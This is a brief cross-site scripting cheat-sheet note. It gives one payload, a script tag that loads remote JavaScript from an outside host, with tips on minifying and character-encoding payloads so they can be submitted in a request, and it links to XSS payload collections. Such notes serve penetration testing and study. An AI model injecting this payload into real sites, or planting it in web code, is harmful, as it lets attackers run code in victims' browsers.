XSS - Cross site scripting

Remote JavaScript include

<script src="http://domain.com/remote.js"></script>

Depending on the context and length of the payload, it can sometimes be minified, encoded and submitted directly in the request.

Minifier tool: https://javascript-minifier.com/

Character code encoding:https://eve.gd/2007/05/23/string-fromcharcode-encoder/

Great resources:

Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security AcademyWebSecAcademy

[Payloadsallthethings XSS Cheatsheet]("https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection" "Payloads all the things XSS cheatsheet")